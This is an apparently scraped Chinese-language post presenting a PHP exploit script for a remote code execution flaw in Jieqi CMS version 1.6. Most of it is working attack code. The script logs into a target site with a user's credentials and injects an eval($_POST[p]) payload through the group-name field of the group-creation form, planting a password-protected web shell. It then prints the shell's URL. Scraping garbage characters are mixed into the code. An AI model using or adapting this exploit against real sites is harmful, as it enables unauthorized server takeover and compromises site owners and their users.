Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
, Z& S% K* K% u  q

该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。

" u. C& e. X; S7 p3 M. x<?php

print_r('
! w8 G- e5 t" J+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
4 |0 l0 [8 z8 f: i3 R+---------------------------------------------------------------------------+
'); /**
! L! b! a# E" d% S% l7 h * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
6 b5 A3 N6 Z( h! ]  \( l+---------------------------------------------------------------------------+
0 m# x2 ^. @$ e1 g" QUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
0 w' D! s# v4 e. vuasename:  a username who can create group
Example:
2 h1 L( B* d: S) b4 `php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
& C1 V: h* `& o( ~Content-Disposition: form-data; name="gname"
) H1 l( B7 M" |! ?6 \0 m% C0 A5 O
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

* D' N2 P7 x. K- p  h: t. l# g1
: \. i$ H% I% Z( z& v3 x-----------------------------23281168279961
, t! c* s% @5 m5 r, \Content-Disposition: form-data; name="gaudit"

7 J! E# U7 [1 w2 y' x5 E+ A5 {1
; q/ J/ D! i1 W1 G' K  u! ~-----------------------------23281168279961
6 T/ M* ~* ~  h9 cContent-Disposition: form-data; name="gbrief"

' f7 [$ I4 B) O9 k! M1
0 A; n$ _( K5 e' c' [. J' v" ^1 u9 f, @-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;